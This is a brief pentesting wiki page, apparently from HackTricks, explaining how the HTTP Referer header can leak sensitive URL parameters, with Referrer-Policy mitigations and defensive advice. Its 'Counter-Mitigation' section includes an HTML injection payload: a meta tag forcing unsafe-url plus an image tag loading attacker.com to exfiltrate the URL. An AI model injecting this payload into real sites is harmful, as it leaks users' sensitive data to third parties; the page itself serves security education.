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https://github.com/carlospolop/hacktricks
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37 lines
1.2 KiB
Markdown
37 lines
1.2 KiB
Markdown
# Interesting HTTP
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## Referrer headers and policy
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Referrer is the header used by browsers to indicate which was the previous page visited.
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### Sensitive information leaked
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If at some point inside a web page any sensitive information is located on a GET request parameters, if the page contains links to external sources or an attacker is able to make/suggest (social engineering) the user visit a URL controlled by the attacker. It could be able to exfiltrate the sensitive information inside the latest GET request.
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### Mitigation
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You can make the browser follow a **Referrer-policy** that could **avoid** the sensitive information to be sent to other web applications:
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```
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Referrer-Policy: no-referrer
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Referrer-Policy: no-referrer-when-downgrade
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Referrer-Policy: origin
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Referrer-Policy: origin-when-cross-origin
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Referrer-Policy: same-origin
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Referrer-Policy: strict-origin
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Referrer-Policy: strict-origin-when-cross-origin
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Referrer-Policy: unsafe-url
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```
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### Counter-Mitigation
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You can override this rule using an HTML meta tag (the attacker needs to exploit and HTML injection):
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```markup
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<meta name="referrer" content="unsafe-url">
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<img src="https://attacker.com">
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```
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### Defense
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Never put any sensitive data inside GET parameters or paths in the URL.
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